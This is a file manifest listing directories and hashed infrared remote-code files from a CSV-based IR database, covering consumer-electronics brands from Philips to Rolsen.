+D:infrared/_CSV-IRDB_/Philips/Unknown_digital +D:infrared/_CSV-IRDB_/Philips/Unknown_dvd712 +D:infrared/_CSV-IRDB_/Philips/Unknown_philips-rc2592-MODE-v1 +D:infrared/_CSV-IRDB_/Philips/Unknown_rd5860.conf +D:infrared/_CSV-IRDB_/Philips/Unknown_uDigital +D:infrared/_CSV-IRDB_/Philips/VCR +F:50005bddfdee4fd3d33aebe5de799e8a:860:infrared/_CSV-IRDB_/Philips/CD-R/20,-1.ir +F:08aca2da773412aaca6e4d70264a6ece:1477:infrared/_CSV-IRDB_/Philips/CD-R/26,-1.ir +F:b4c95f46e11a1299f0fe2cd4936a197d:3116:infrared/_CSV-IRDB_/Philips/DSS/133,48.ir +F:dc2218c9448e57e120060b1c34754332:1868:infrared/_CSV-IRDB_/Philips/DSS/39,-1.ir +F:822549d0e860606f057f6e30c3c72f62:2896:infrared/_CSV-IRDB_/Philips/DVD Player/4,-1.ir +F:45d93fe2c205f921c27bdfa7ea919280:28909:infrared/_CSV-IRDB_/Philips/Digital Recorder/133,48.ir +F:6b1e65e19e0834a62c718e05fc247550:233:infrared/_CSV-IRDB_/Philips/Receiver/0,-1.ir +F:bfd9e8d675f88c3e106cb0e5b7e309d1:955:infrared/_CSV-IRDB_/Philips/Receiver/16,-1.ir +F:012fad9100d164db82bac3f89b3c48c0:1853:infrared/_CSV-IRDB_/Philips/Receiver/17,-1.ir +F:1e9cfb2c46dfe6d70ad1b26fb5ce464b:128:infrared/_CSV-IRDB_/Philips/Receiver/20,-1.ir +F:d8d3d4c014dd3502a8e431dd14836f89:131:infrared/_CSV-IRDB_/Philips/Receiver/5,-1.ir +F:5e47f54da1b5ac4c3bcb626b85deb0c1:6052:infrared/_CSV-IRDB_/Philips/TV/0,-1.ir +F:9063a42e233a883230849b48965b2442:970:infrared/_CSV-IRDB_/Philips/TV/3,-1.ir +F:d0c851ac5300785b09f47e1cd86f94bd:2513:infrared/_CSV-IRDB_/Philips/Unknown_01/0,-1.ir +F:2187d6462bc534a81073aa13f65b019a:4091:infrared/_CSV-IRDB_/Philips/Unknown_01/48,-1.ir +F:419ff4b710d7c7df930ec6f700fe7741:2794:infrared/_CSV-IRDB_/Philips/Unknown_101/5,-1.ir +F:41bf818120f6f6d2304a8e47ba484dcd:2282:infrared/_CSV-IRDB_/Philips/Unknown_130A/138,245.ir +F:70732c5d9b35874256fe692bfb141d34:2803:infrared/_CSV-IRDB_/Philips/Unknown_17PT1563/0,-1.ir +F:c570c0970ec8f9aaca46273745d7f147:4022:infrared/_CSV-IRDB_/Philips/Unknown_26PFL5604H/0,-1.ir +F:4caa05000e27eb93c0d6c2ca072df181:3485:infrared/_CSV-IRDB_/Philips/Unknown_32PFL5403D/0,-1.ir +F:1cd4d93d4ca6d34ca87e4b25d7ee254c:4237:infrared/_CSV-IRDB_/Philips/Unknown_5260/0,-1.ir +F:914fd337646f3cb517ad1679820cdbd3:2994:infrared/_CSV-IRDB_/Philips/Unknown_5300/0,-1.ir +F:33c76cae0c17fc8e485c8039bef144a5:8590:infrared/_CSV-IRDB_/Philips/Unknown_5373/5,-1.ir +F:d29f4e5393710ec5452e0b9eebd012a7:2834:infrared/_CSV-IRDB_/Philips/Unknown_8243/10,-1.ir +F:8e1765dad266a01c803e493c0e023569:1864:infrared/_CSV-IRDB_/Philips/Unknown_95/5,-1.ir +F:1654859e07170ff10eb05330e798caaf:1478:infrared/_CSV-IRDB_/Philips/Unknown_AV5609/5,-1.ir +F:236c88141501a72e7d9cfaec41f781c0:1938:infrared/_CSV-IRDB_/Philips/Unknown_CD/20,-1.ir +F:627f6a3a4ab12acf46d64bc81562a84e:1190:infrared/_CSV-IRDB_/Philips/Unknown_CD720/20,-1.ir +F:58c4f04a5e614e9dd616f6baa3044c7a:2489:infrared/_CSV-IRDB_/Philips/Unknown_CD723/20,-1.ir +F:5ccd7e096a094e180983c8f62a1543b5:3155:infrared/_CSV-IRDB_/Philips/Unknown_DSX-5500/39,-1.ir +F:1c5bc2ab9b4ee89ba602d40c85ae39ab:3162:infrared/_CSV-IRDB_/Philips/Unknown_DVD-724/4,-1.ir +F:db9eafc3096418dfda25ef3e48bd07e7:3044:infrared/_CSV-IRDB_/Philips/Unknown_DVD711/4,-1.ir +F:074d5a9419637f434118f38652fe5072:2678:infrared/_CSV-IRDB_/Philips/Unknown_DVP-5982/4,-1.ir +F:d27b0bacf341531635235ea051b4eece:3158:infrared/_CSV-IRDB_/Philips/Unknown_DVP-642/4,-1.ir +F:7be04b66864eb24a1e3b1aa6f8b7b073:4682:infrared/_CSV-IRDB_/Philips/Unknown_FW2104/134,83.ir +F:fe5d19ba098d57fdb45546f92ecdcb3f:2945:infrared/_CSV-IRDB_/Philips/Unknown_LV2/20,-1.ir +F:b0d816705a764ea9ddb199ad9fb79d5b:1925:infrared/_CSV-IRDB_/Philips/Unknown_MULTI/0,-1.ir +F:615a1b189287de7fbb59863367799781:2413:infrared/_CSV-IRDB_/Philips/Unknown_MULTI/5,-1.ir +F:62dbce6e3a48e84b742d39a8a9c5cfd2:2107:infrared/_CSV-IRDB_/Philips/Unknown_MULTI/6,-1.ir +F:2f696d4c2ef0e0fb3692dfbdfb6103ef:3730:infrared/_CSV-IRDB_/Philips/Unknown_PHDVD5/26,154.ir +F:4cc487d71239cf1fc9a6381ba158aae6:3078:infrared/_CSV-IRDB_/Philips/Unknown_PHILIPS/0,-1.ir +F:34eeda7e80e68dad2dc41d02447ad21b:2289:infrared/_CSV-IRDB_/Philips/Unknown_PHILIPS/34,-1.ir +F:72680bc075dae110695c32da3d0a3548:3639:infrared/_CSV-IRDB_/Philips/Unknown_PM725S/27,-1.ir +F:aa1f5b52c0ef0a839097ef365a6fbe13:3510:infrared/_CSV-IRDB_/Philips/Unknown_Philips-PMDVD6T-Universal-AUX/64,47.ir +F:0674002734dfc0e12e47dc7f59be70cb:1982:infrared/_CSV-IRDB_/Philips/Unknown_R-48F01/20,-1.ir +F:9147e3ed157ecdb8d6988e65e8c806c8:5252:infrared/_CSV-IRDB_/Philips/Unknown_RC/0,-1.ir +F:bae5a0d97fd5c16e9877a5e6b93ecfae:1785:infrared/_CSV-IRDB_/Philips/Unknown_RC/20,-1.ir +F:e9e7146e72a62b9dd4ffa8d28ef8826f:2870:infrared/_CSV-IRDB_/Philips/Unknown_RC-2012/4,-1.ir +F:8aa9203f9cee86d2e0e43398aa82c936:618:infrared/_CSV-IRDB_/Philips/Unknown_RC-5/0,-1.ir +F:14378bee62a78605bd7c8a132dc3c077:7756:infrared/_CSV-IRDB_/Philips/Unknown_RC-5/5,-1.ir +F:f4b598705b855a619b3d5dbad2d65f67:2767:infrared/_CSV-IRDB_/Philips/Unknown_RC-7843/0,-1.ir +F:11f273c06cf3be5ce50a1b07f78bde44:4061:infrared/_CSV-IRDB_/Philips/Unknown_RC19042002/0,-1.ir +F:f43d1b4928ea40f479ca6b5cffee964c:3516:infrared/_CSV-IRDB_/Philips/Unknown_RC19237006/4,-1.ir +F:ba19866524d3737ab3209f4834300eaf:1552:infrared/_CSV-IRDB_/Philips/Unknown_RC19335003-01P/0,-1.ir +F:452a63286bfe7be5696734442776b6a4:3667:infrared/_CSV-IRDB_/Philips/Unknown_RC2034302/0,-1.ir +F:9e0f86546cf8ccab711cb6759e113916:4857:infrared/_CSV-IRDB_/Philips/Unknown_RC2070/0,-1.ir +F:334fa8ee1222a42e1a8a4b26540070d0:2678:infrared/_CSV-IRDB_/Philips/Unknown_RC2582/39,-1.ir +F:0429992c254ae869497a78ee9df9d79d:3413:infrared/_CSV-IRDB_/Philips/Unknown_RC5-BP6/0,-1.ir +F:89923ad822bf73a45fe89c3d8f9562b2:6158:infrared/_CSV-IRDB_/Philips/Unknown_RC7507/5,-1.ir +F:03f2048b749a1959530d0a99724b5440:2751:infrared/_CSV-IRDB_/Philips/Unknown_RC7843/0,-1.ir +F:9a40cc700d2e7b6a1547000b6a8e9190:2576:infrared/_CSV-IRDB_/Philips/Unknown_RC7925/26,-1.ir +F:b3adf8266481bbb7494a732df76db6f2:2818:infrared/_CSV-IRDB_/Philips/Unknown_RC8244/10,-1.ir +F:be433814e004f015e082049f0574a241:2617:infrared/_CSV-IRDB_/Philips/Unknown_RC8861/1,-1.ir +F:0e4000067da88d790fc2b18e3b7a673a:3332:infrared/_CSV-IRDB_/Philips/Unknown_RCLE011/0,-1.ir +F:e2ea1c673f5b0b3329b88571c3cee22d:1913:infrared/_CSV-IRDB_/Philips/Unknown_RD6834/20,-1.ir +F:d22901c2065d5d567ca8113e3835393d:2781:infrared/_CSV-IRDB_/Philips/Unknown_RT150/5,-1.ir +F:51cb4f7388933b8b94995826d5d7611a:996:infrared/_CSV-IRDB_/Philips/Unknown_RU120/0,-1.ir +F:3dd5418ba3415f44d8e35b7d3415a994:4610:infrared/_CSV-IRDB_/Philips/Unknown_SBC/0,-1.ir +F:a4d8229bc88493001a891354fa5e4b29:2471:infrared/_CSV-IRDB_/Philips/Unknown_SBC/6,-1.ir +F:b269aa484f4910eac9f7e2a12ee13ed7:8866:infrared/_CSV-IRDB_/Philips/Unknown_SBC-RU-520/5,-1.ir +F:8dbf6f34e8a562a536f07b1d8ed06e25:3458:infrared/_CSV-IRDB_/Philips/Unknown_SF172/39,-1.ir +F:bcbad32f28d4ef20fa9ead3fc9af5db6:4321:infrared/_CSV-IRDB_/Philips/Unknown_SRM5100/4,15.ir +F:0774312bc11518f94a48de4f7196c182:4299:infrared/_CSV-IRDB_/Philips/Unknown_SRU/0,-1.ir +F:6c27d1a5a92927287afcee5c518418c0:609:infrared/_CSV-IRDB_/Philips/Unknown_STEREO/164,164.ir +F:e9c1bf18cd9ace9b0387a92e17477ade:2968:infrared/_CSV-IRDB_/Philips/Unknown_TIVO/133,48.ir +F:924870d112e5e60ee548173319b108e7:3734:infrared/_CSV-IRDB_/Philips/Unknown_TIVO34/133,48.ir +F:54c53885192d1c9f797b42bbbd671d22:2564:infrared/_CSV-IRDB_/Philips/Unknown_TV/0,-1.ir +F:31cd3a9328a9f4bf5e12a5f183e92609:2688:infrared/_CSV-IRDB_/Philips/Unknown_VCR/5,-1.ir +F:2cd063e9e910889a08b437b491b8a239:2573:infrared/_CSV-IRDB_/Philips/Unknown_VR175/5,-1.ir +F:94caf501fcdc715e03050926f2c3c88d:3677:infrared/_CSV-IRDB_/Philips/Unknown_digital/0,-1.ir +F:c150ebdbaaa12def70eee38cbf4b2eef:3246:infrared/_CSV-IRDB_/Philips/Unknown_dvd712/4,-1.ir +F:c700df790aa8b4cd5ac80f39fb6f55c4:3119:infrared/_CSV-IRDB_/Philips/Unknown_philips-rc2592-MODE-v1/8,-1.ir +F:5ac68b76b368dc33d0a5fb55f155526a:2096:infrared/_CSV-IRDB_/Philips/Unknown_rd5860.conf/20,-1.ir +F:8ca580465a2b23d1eed6e601b2bb09b4:3474:infrared/_CSV-IRDB_/Philips/Unknown_uDigital/0,-1.ir +F:52a937c2d174a33b178810416930ad47:2702:infrared/_CSV-IRDB_/Philips/VCR/5,-1.ir +D:infrared/_CSV-IRDB_/Phonotrend/Unknown_Prestige +F:69fc7afb672e71b376457caebfaea74a:4113:infrared/_CSV-IRDB_/Phonotrend/Unknown_Prestige/4,-1.ir +D:infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_300i +D:infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_800i +D:infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_PCTV +D:infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_RC-42D +F:4901e8562e79281d3f4e43f8f45fd840:4012:infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_300i/17,20.ir +F:c7ec242b626a52303c603bd6e9942d11:2426:infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_800i/7,-1.ir +F:29cdbe184aba51e87c1641c873be3726:2317:infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_PCTV/7,-1.ir +F:bc68daaa10ad4eccf2ff5662d84d7506:4034:infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_RC-42D/7,-1.ir +D:infrared/_CSV-IRDB_/Pioneer/Amplifier +D:infrared/_CSV-IRDB_/Pioneer/CD Jukebox +D:infrared/_CSV-IRDB_/Pioneer/CD Player +D:infrared/_CSV-IRDB_/Pioneer/Cable Box +D:infrared/_CSV-IRDB_/Pioneer/Cassette Tape +D:infrared/_CSV-IRDB_/Pioneer/DVD Changer +D:infrared/_CSV-IRDB_/Pioneer/DVD Jukebox +D:infrared/_CSV-IRDB_/Pioneer/DVD Player +D:infrared/_CSV-IRDB_/Pioneer/Laser Disc +D:infrared/_CSV-IRDB_/Pioneer/Receiver +D:infrared/_CSV-IRDB_/Pioneer/TV +D:infrared/_CSV-IRDB_/Pioneer/Unknown_AXD-1531 +D:infrared/_CSV-IRDB_/Pioneer/Unknown_AXD-7306 +D:infrared/_CSV-IRDB_/Pioneer/Unknown_CD +D:infrared/_CSV-IRDB_/Pioneer/Unknown_CU-CLD067 +D:infrared/_CSV-IRDB_/Pioneer/Unknown_CU-CLD106 +D:infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD008 +D:infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD038 +D:infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD046 +D:infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD069 +D:infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD085 +D:infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD089 +D:infrared/_CSV-IRDB_/Pioneer/Unknown_DEH-D8850 +D:infrared/_CSV-IRDB_/Pioneer/Unknown_PD-M650 +D:infrared/_CSV-IRDB_/Pioneer/Unknown_Pioneer-CU-XR014 +D:infrared/_CSV-IRDB_/Pioneer/Unknown_VXX2801 +D:infrared/_CSV-IRDB_/Pioneer/Unknown_cu-pd096 +D:infrared/_CSV-IRDB_/Pioneer/Unknown_pioneer +F:8ec6c389a0493e8007ed61c19418406a:137:infrared/_CSV-IRDB_/Pioneer/Amplifier/162,-1.ir +F:bfc3851aa663447e8f3c36896f43ccf5:135:infrared/_CSV-IRDB_/Pioneer/Amplifier/164,-1.ir +F:4295df151ece2b285ac23d816be03d71:2785:infrared/_CSV-IRDB_/Pioneer/Amplifier/165,-1.ir +F:1f26e5a9f4e415c41933cdb664ab5bfb:8018:infrared/_CSV-IRDB_/Pioneer/CD Jukebox/162,-1.ir +F:45e40f17625f49f99ff13927748192e9:2448:infrared/_CSV-IRDB_/Pioneer/CD Player/162,-1.ir +F:a23e3d41ee020fafa13a07f35ecb67bb:213:infrared/_CSV-IRDB_/Pioneer/Cable Box/168,40.ir +F:4cf174a5d7728468e2758a27ae66263a:131:infrared/_CSV-IRDB_/Pioneer/Cable Box/170,-1.ir +F:2cf66363810d1046835a10d5ce34b262:2121:infrared/_CSV-IRDB_/Pioneer/Cable Box/172,-1.ir +F:73e1c138c5b146115e8639faab8d587f:2355:infrared/_CSV-IRDB_/Pioneer/Cassette Tape/161,-1.ir +F:68fb367c5f32035ecdfc6f89a8b77c1f:4566:infrared/_CSV-IRDB_/Pioneer/DVD Changer/163,-1.ir +F:e605c9e77943e02ad14c1aea0937fb2a:3693:infrared/_CSV-IRDB_/Pioneer/DVD Changer/175,-1.ir +F:33a15d149f465f701ee972d13952b572:3616:infrared/_CSV-IRDB_/Pioneer/DVD Jukebox/163,-1.ir +F:aa890724122a23e319525ecd7bd5046e:2736:infrared/_CSV-IRDB_/Pioneer/DVD Jukebox/175,-1.ir +F:a77b89941c5764e5f3b828998d276292:11663:infrared/_CSV-IRDB_/Pioneer/DVD Player/163,-1.ir +F:2171c4f2d05432260d0ecfbb6f117214:6651:infrared/_CSV-IRDB_/Pioneer/DVD Player/175,-1.ir +F:3bade04790b34ff078193450ed9ae2aa:2424:infrared/_CSV-IRDB_/Pioneer/Laser Disc/163,-1.ir +F:4670b455bbc9e272ebf9450f85d8c6e0:10832:infrared/_CSV-IRDB_/Pioneer/Laser Disc/168,-1.ir +F:c79f5d68fefd697243e967e769b5bd31:1866:infrared/_CSV-IRDB_/Pioneer/Laser Disc/175,-1.ir +F:8641014e291142f9195e23c177e26bfe:1571:infrared/_CSV-IRDB_/Pioneer/Receiver/164,-1.ir +F:b89a57306b0ce243d72858bf79c00ea6:5828:infrared/_CSV-IRDB_/Pioneer/Receiver/165,-1.ir +F:6fe66b3984033227977576532317db95:7196:infrared/_CSV-IRDB_/Pioneer/TV/170,-1.ir +F:2987079f96c697747bd18840a08e82d6:474:infrared/_CSV-IRDB_/Pioneer/TV/175,-1.ir +F:10a17c5380a6aa09f34397de4302f1a5:4759:infrared/_CSV-IRDB_/Pioneer/Unknown_AXD-1531/170,-1.ir +F:72ac862301e8813180cf7bbea731dca5:2127:infrared/_CSV-IRDB_/Pioneer/Unknown_AXD-7306/166,-1.ir +F:b6232233aefdfff687195d6cfc1830c5:3416:infrared/_CSV-IRDB_/Pioneer/Unknown_CD/162,-1.ir +F:56b87061aa8564f8931f90fff83d9077:2208:infrared/_CSV-IRDB_/Pioneer/Unknown_CU-CLD067/168,-1.ir +F:8c6b84e5ad0a8821a8452a80cae7a4dd:3243:infrared/_CSV-IRDB_/Pioneer/Unknown_CU-CLD106/168,-1.ir +F:ce54c927d8a0991c2ca89c3565c1a754:2982:infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD008/162,-1.ir +F:2ee59d1588762be969556d8fa7675673:2267:infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD038/162,-1.ir +F:af2ea702c7a9830863a17a1e70b1ce16:2295:infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD046/162,-1.ir +F:9a305846a2b0f50f9fd56a271aa31122:2284:infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD069/162,-1.ir +F:9303dc18d21131d73c6353a3436bffd3:2257:infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD085/162,-1.ir +F:e909cfc044975613c91e87f236c62ca7:4028:infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD089/162,-1.ir +F:3c4e557597f5370351ff44b266630285:3040:infrared/_CSV-IRDB_/Pioneer/Unknown_DEH-D8850/0,-1.ir +F:dfb2da6c6e0770805f2f51117c97f9e1:3211:infrared/_CSV-IRDB_/Pioneer/Unknown_PD-M650/162,-1.ir +F:59fffe44c14ec03775cfdd3bd8ea6d9f:2963:infrared/_CSV-IRDB_/Pioneer/Unknown_Pioneer-CU-XR014/2,1.ir +F:9db8ed113c267c96ff107cb0c534c728:3538:infrared/_CSV-IRDB_/Pioneer/Unknown_VXX2801/163,-1.ir +F:5721084a9b758d2b7e037b3d546eacb4:2197:infrared/_CSV-IRDB_/Pioneer/Unknown_cu-pd096/162,-1.ir +F:c11598c0c1ce2e34f5b694d93e1e6613:3706:infrared/_CSV-IRDB_/Pioneer/Unknown_pioneer/162,-1.ir +F:a0ba321ac9e21220e2a4812a01ed0ecb:2582:infrared/_CSV-IRDB_/Pioneer/Unknown_pioneer/168,-1.ir +D:infrared/_CSV-IRDB_/PixelView/Unknown_2000 +D:infrared/_CSV-IRDB_/PixelView/Unknown_PlayTV +F:7211e23fa85f23809f8fe6d19bee5128:6279:infrared/_CSV-IRDB_/PixelView/Unknown_2000/63,-1.ir +F:9408b1bd4df5126cea6132f78e2a0d3b:5509:infrared/_CSV-IRDB_/PixelView/Unknown_PlayTV/134,107.ir +D:infrared/_CSV-IRDB_/Polaroid/Unknown_DVDP-1000 +F:198fdeda499f7b3f1ad44012cf8ba50c:4314:infrared/_CSV-IRDB_/Polaroid/Unknown_DVDP-1000/32,-1.ir +D:infrared/_CSV-IRDB_/Pragmatic/Router +F:190d18949a85b8b4c09168686007a1c3:743:infrared/_CSV-IRDB_/Pragmatic/Router/172,-1.ir +D:infrared/_CSV-IRDB_/ProPlay/Unknown_PS2 +F:5e0706a40f73c15deb7e39a83a27a79e:1674:infrared/_CSV-IRDB_/ProPlay/Unknown_PS2/0,246.ir +D:infrared/_CSV-IRDB_/Proceed/Surround Processor +F:aad6317bd6fa565a2564b8b1ec5e02cb:1844:infrared/_CSV-IRDB_/Proceed/Surround Processor/5,-1.ir +D:infrared/_CSV-IRDB_/Proscan/DVD Player +D:infrared/_CSV-IRDB_/Proscan/TV +D:infrared/_CSV-IRDB_/Proscan/Unknown_proscan-vcr +F:951993b07a07b63cbc7d4be924929d68:222:infrared/_CSV-IRDB_/Proscan/DVD Player/15,-1.ir +F:535f9a7ab580cc4585bb46d18063d507:3443:infrared/_CSV-IRDB_/Proscan/DVD Player/5,-1.ir +F:3a0ff95bfc8964bfa1421561902528f0:6769:infrared/_CSV-IRDB_/Proscan/TV/15,-1.ir +F:aceaeb97de874341a7b62803caa2e6ae:3721:infrared/_CSV-IRDB_/Proscan/Unknown_proscan-vcr/14,-1.ir +D:infrared/_CSV-IRDB_/Protek/Unknown_Protek +F:843c4860b6a98ccf81bef354ed6b9398:1912:infrared/_CSV-IRDB_/Protek/Unknown_Protek/1,-1.ir +D:infrared/_CSV-IRDB_/Proton/TV +F:144e1f9b03bd6df059b5a73bc8a62dec:880:infrared/_CSV-IRDB_/Proton/TV/17,-1.ir +F:aa12a9bedd8b756e71348f623c723c97:784:infrared/_CSV-IRDB_/Proton/TV/2,-1.ir +F:b82811a46176527e5bcb52291fafd3ea:2318:infrared/_CSV-IRDB_/Proton/TV/3,-1.ir +F:f6f766b8849cac41a1c0dac90932a4fa:1674:infrared/_CSV-IRDB_/Proton/TV/4,-1.ir +D:infrared/_CSV-IRDB_/Provideo/Unknown_PV951 +F:21379efcdb816130c9da20cd23fd5bad:2864:infrared/_CSV-IRDB_/Provideo/Unknown_PV951/134,107.ir +D:infrared/_CSV-IRDB_/Provision/Unknown_PR-DVD2.0 +D:infrared/_CSV-IRDB_/Provision/Unknown_PRDVD2166 +F:b4e59ee9c2dd35cebc28a2044053b0ce:3746:infrared/_CSV-IRDB_/Provision/Unknown_PR-DVD2.0/1,-1.ir +F:8a8a4c3beffd4d82dd748bbfbe327626:4122:infrared/_CSV-IRDB_/Provision/Unknown_PRDVD2166/0,153.ir +D:infrared/_CSV-IRDB_/QUADRAL/Unknown_RC-804 +F:742998dee5a94867fcfbce7509285faa:3116:infrared/_CSV-IRDB_/QUADRAL/Unknown_RC-804/19,1.ir +D:infrared/_CSV-IRDB_/Quasar/TV +F:4290ab7b3994500f0692c73e2036ad15:1854:infrared/_CSV-IRDB_/Quasar/TV/128,0.ir +D:infrared/_CSV-IRDB_/RCA/DSS +D:infrared/_CSV-IRDB_/RCA/DVD Player +D:infrared/_CSV-IRDB_/RCA/Laser Disc +D:infrared/_CSV-IRDB_/RCA/TV +D:infrared/_CSV-IRDB_/RCA/Unknown_BR-RCA +D:infrared/_CSV-IRDB_/RCA/Unknown_DTA800b +D:infrared/_CSV-IRDB_/RCA/Unknown_R130A1 +D:infrared/_CSV-IRDB_/RCA/Unknown_RCA-F20507CP +D:infrared/_CSV-IRDB_/RCA/Unknown_RCZ +D:infrared/_CSV-IRDB_/RCA/Unknown_TV +D:infrared/_CSV-IRDB_/RCA/VCR +F:4a5f4e6216ce260430f3a0934605e7c4:320:infrared/_CSV-IRDB_/RCA/DSS/15,-1.ir +F:af63f0adba06f07574fecb69491bfc8c:5250:infrared/_CSV-IRDB_/RCA/DSS/7,-1.ir +F:67b2ed0c4325d2fd8554136f65030894:5746:infrared/_CSV-IRDB_/RCA/DVD Player/5,-1.ir +F:de4851b639455d21e1027849bb728e61:3193:infrared/_CSV-IRDB_/RCA/Laser Disc/13,-1.ir +F:bb16360e22fd805cffa2a024ca6fcb27:133:infrared/_CSV-IRDB_/RCA/TV/14,-1.ir +F:a9dbd00e5cccc47fa3e0d2622b71466c:6658:infrared/_CSV-IRDB_/RCA/TV/15,-1.ir +F:02195c6e0d4425ee6bdb74ff9a1fc8e1:133:infrared/_CSV-IRDB_/RCA/TV/7,-1.ir +F:07856685c5574043693c04d25955c08d:2922:infrared/_CSV-IRDB_/RCA/Unknown_BR-RCA/39,-1.ir +F:ca8993d617a7f6bcc5e40e77d41d3ab8:1921:infrared/_CSV-IRDB_/RCA/Unknown_DTA800b/7,-1.ir +F:8b62a250f3f39bc8c91214816ebe9f40:3155:infrared/_CSV-IRDB_/RCA/Unknown_R130A1/15,-1.ir +F:ce701f10939f02d5996dfa1f252a36f5:2289:infrared/_CSV-IRDB_/RCA/Unknown_RCA-F20507CP/15,-1.ir +F:7051fe37ee02284b935239b2549dc425:3720:infrared/_CSV-IRDB_/RCA/Unknown_RCZ/135,94.ir +F:37996cbe59ce8237b6131cb00d280c8f:907:infrared/_CSV-IRDB_/RCA/Unknown_TV/15,-1.ir +F:16d882928bd6aabba0f9041d485af70b:2606:infrared/_CSV-IRDB_/RCA/VCR/14,-1.ir +F:80a21a19a854e3121541b139cb7ac541:229:infrared/_CSV-IRDB_/RCA/VCR/15,-1.ir +D:infrared/_CSV-IRDB_/RSQ/Karaoke +F:8f2ec707a9f50c836a17f141c77235e9:710:infrared/_CSV-IRDB_/RSQ/Karaoke/179,-1.ir +F:0abeadedd01a5fd04f2fe5ea2b5505ea:2426:infrared/_CSV-IRDB_/RSQ/Karaoke/191,-1.ir +F:fdda6ca84250e5f3b7b0f1ede39987a7:140:infrared/_CSV-IRDB_/RSQ/Karaoke/3,-1.ir +D:infrared/_CSV-IRDB_/Radio Shack/Unknown_RS2142 +D:infrared/_CSV-IRDB_/Radio Shack/Unknown_RadioShack +D:infrared/_CSV-IRDB_/Radio Shack/Unknown_Radioshack2115 +F:652a5a60953077a04f93d0d1b05b9177:3268:infrared/_CSV-IRDB_/Radio Shack/Unknown_RS2142/5,-1.ir +F:578fa9bf71bcf5ba35b70eb7fa741afa:223:infrared/_CSV-IRDB_/Radio Shack/Unknown_RadioShack/3,1.ir +F:b64b47adad006aff18ca031b99e2a3f0:3463:infrared/_CSV-IRDB_/Radio Shack/Unknown_Radioshack2115/5,-1.ir +D:infrared/_CSV-IRDB_/Radix/Unknown_Alpha +D:infrared/_CSV-IRDB_/Radix/Unknown_DT-X1 +D:infrared/_CSV-IRDB_/Radix/Unknown_DTR-9000-Twin +D:infrared/_CSV-IRDB_/Radix/Unknown_SAT +D:infrared/_CSV-IRDB_/Radix/Unknown_lircd.conf +D:infrared/_CSV-IRDB_/Radix/Unknown_radix +F:502da2c1265dafd8ce782bd2a5fd9f3d:1812:infrared/_CSV-IRDB_/Radix/Unknown_Alpha/138,245.ir +F:a655a3ad5645a7388b3c18acd7e1342d:3162:infrared/_CSV-IRDB_/Radix/Unknown_DT-X1/0,127.ir +F:a7d75b249421400c87eb6e94b891730e:3623:infrared/_CSV-IRDB_/Radix/Unknown_DTR-9000-Twin/0,127.ir +F:0e3074a3e18d698cf355ff8cf59ee937:2173:infrared/_CSV-IRDB_/Radix/Unknown_SAT/138,245.ir +F:6617cdaeba55c1838a82a83a33322ee2:3056:infrared/_CSV-IRDB_/Radix/Unknown_lircd.conf/0,127.ir +F:fdce2151c6a7194e4307361a5bea4388:2388:infrared/_CSV-IRDB_/Radix/Unknown_radix/138,245.ir +D:infrared/_CSV-IRDB_/Raite/Unknown_RaiteDVD-7xx +F:1c25ddc1155cf7576048be2d2a1316bb:4140:infrared/_CSV-IRDB_/Raite/Unknown_RaiteDVD-7xx/32,-1.ir +D:infrared/_CSV-IRDB_/Ranex/Unknown_RGB +F:fa71d30fecdf396fbaad02ac3557ec12:2579:infrared/_CSV-IRDB_/Ranex/Unknown_RGB/64,-1.ir +D:infrared/_CSV-IRDB_/Re.x/Unknown_SDVD +F:50e61fde4f02dc3720f42ff91a7321e5:4829:infrared/_CSV-IRDB_/Re.x/Unknown_SDVD/0,-1.ir +D:infrared/_CSV-IRDB_/Recor/Unknown_IRC-1304 +F:a47c97761cc01746622faf9a4ba5b5c9:4082:infrared/_CSV-IRDB_/Recor/Unknown_IRC-1304/7,-1.ir +D:infrared/_CSV-IRDB_/Rega/Receiver +F:3d74b4e630878a0a2cdbe14746131fd2:2137:infrared/_CSV-IRDB_/Rega/Receiver/110,-1.ir +F:989dfa3d808faebb809b4986cc5da09f:407:infrared/_CSV-IRDB_/Rega/Receiver/135,124.ir +F:4905a4153991b1f4fd26076ced12847a:1056:infrared/_CSV-IRDB_/Rega/Receiver/16,-1.ir +D:infrared/_CSV-IRDB_/Replay Networks/Digital Recorder +F:768173435f962612bca032a2bf341ce8:5775:infrared/_CSV-IRDB_/Replay Networks/Digital Recorder/1,0.ir +D:infrared/_CSV-IRDB_/ReplayTV/Unknown_5000 +F:6745fb52045bfe64093c7c3d4f64cba5:3462:infrared/_CSV-IRDB_/ReplayTV/Unknown_5000/1,0.ir +D:infrared/_CSV-IRDB_/Revo/Unknown_Blik +F:0694bb8fa30ec719b96090f0cfc12d3a:2586:infrared/_CSV-IRDB_/Revo/Unknown_Blik/0,-1.ir +D:infrared/_CSV-IRDB_/Revoy/Unknown_Revoy2200 +F:326e63c0729a0250be5972328693b8b2:4275:infrared/_CSV-IRDB_/Revoy/Unknown_Revoy2200/0,153.ir +D:infrared/_CSV-IRDB_/Rio/Unknown_Audio +F:d89f449d1990095018f3ef1514a731b3:2591:infrared/_CSV-IRDB_/Rio/Unknown_Audio/130,19.ir +D:infrared/_CSV-IRDB_/Roku/Unknown_Netflix +D:infrared/_CSV-IRDB_/Roku/Unknown_Soundbridge +F:b4745857bdb026f9df50c2320681bb1b:896:infrared/_CSV-IRDB_/Roku/Unknown_Netflix/190,239.ir +F:148b5f398db4ee562d9757cb2cdf8d7a:2600:infrared/_CSV-IRDB_/Roku/Unknown_Soundbridge/111,-1.ir +D:infrared/_CSV-IRDB_/Rolsen/Unknown_DK5A 